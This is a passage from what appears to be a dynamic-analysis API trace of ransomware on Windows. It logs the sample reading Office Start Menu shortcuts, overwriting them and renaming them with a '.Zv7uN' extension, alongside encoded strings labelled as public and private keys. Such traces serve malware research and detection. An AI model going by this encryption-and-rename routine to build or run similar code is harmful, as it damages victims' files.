lpUsedDefaultChar=0x0) returned 644 [0133.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.883] GetCurrentThreadId () returned 0xa30 [0133.884] GetCurrentThreadId () returned 0xa30 [0133.884] GetCurrentThreadId () returned 0xa30 [0133.884] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.884] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.927] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.927] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbef [0133.929] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.930] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0xbef, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0xbef, lpOverlapped=0x0) returned 1 [0133.939] CloseHandle (hObject=0x1e8) returned 1 [0133.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.963] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0xbef, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0xbef, lpOverlapped=0x0) returned 1 [0133.965] CloseHandle (hObject=0x1e8) returned 1 [0133.966] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk.zv7un")) returned 1 [0133.967] GetCurrentThreadId () returned 0xa30 [0133.967] GetCurrentThreadId () returned 0xa30 [0133.967] GetCurrentThreadId () returned 0xa30 [0133.967] GetCurrentThreadId () returned 0xa30 [0133.967] GetCurrentThreadId () returned 0xa30 [0133.967] GetCurrentThreadId () returned 0xa30 [0133.967] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="MI7E65~1.LNK")) returned 1 [0133.967] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.967] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.967] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf)) returned 1 [0133.968] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk")) returned 0x20 [0133.968] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.971] GetCurrentThreadId () returned 0xa30 [0133.971] GetCurrentThreadId () returned 0xa30 [0133.971] GetCurrentThreadId () returned 0xa30 [0133.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.972] GetCurrentThreadId () returned 0xa30 [0133.972] GetCurrentThreadId () returned 0xa30 [0133.972] GetCurrentThreadId () returned 0xa30 [0133.972] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.972] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.972] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.973] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xacf [0133.973] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.973] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xacf, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xacf, lpOverlapped=0x0) returned 1 [0133.975] CloseHandle (hObject=0x1e8) returned 1 [0133.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start 